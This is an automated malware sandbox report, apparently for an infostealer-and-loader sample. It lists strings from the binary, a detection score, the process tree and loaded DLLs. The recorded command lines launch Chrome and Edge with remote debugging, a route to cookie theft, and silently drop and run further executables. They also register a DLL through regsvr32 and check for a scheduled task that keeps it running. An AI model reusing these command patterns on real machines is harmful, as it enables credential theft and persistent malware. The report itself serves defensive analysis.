Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.1939314801.000000001D826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1958748416.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1939314801.000000001D826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1958748416.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1939314801.000000001D826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1958748416.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1601605327.000000001D729000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1697477399.000000001D72B000.00000004.00000020.00020000.00000000.sdmp, HDAFIIDAKJDGDHIDAKJJ.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1939314801.000000001D826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1958748416.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1939314801.000000001D826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1958748416.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsHCAEHJJKFC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2072,i,2579720716033033678,1062830349227764566,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2488 --field-trial-handle=2396,i,17343823971388539006,1664554202216569598,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6336 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6492 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCAEHJJKFC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHCAEHJJKFC.exe "C:\Users\user\DocumentsHCAEHJJKFC.exe"
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7528 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe "C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe"
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Process created: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp "C:\Users\user~1\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp" /SL5="$3025E,1097818,140800,C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe"
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C timeout /T 3 & "C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe "C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Process created: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp "C:\Users\user~1\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp" /SL5="$104A2,1097818,140800,C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\DelightfulCard.dll"
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe /s /i:INSTALL "C:\Users\user\AppData\Roaming\\DelightfulCard.dll"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCAEHJJKFC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2072,i,2579720716033033678,1062830349227764566,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2488 --field-trial-handle=2396,i,17343823971388539006,1664554202216569598,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6336 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6492 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7528 --field-trial-handle=2008,i,2574835411242715716,13927479174439515153,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHCAEHJJKFC.exe "C:\Users\user\DocumentsHCAEHJJKFC.exe"
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe "C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe"
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Process created: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp "C:\Users\user~1\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp" /SL5="$3025E,1097818,140800,C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe"
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C timeout /T 3 & "C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe "C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Process created: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp "C:\Users\user~1\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp" /SL5="$104A2,1097818,140800,C:\Users\user~1\AppData\Local\Temp\1008010001\FunnyJellyfish.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\DelightfulCard.dll"
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe /s /i:INSTALL "C:\Users\user\AppData\Roaming\\DelightfulCard.dll"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
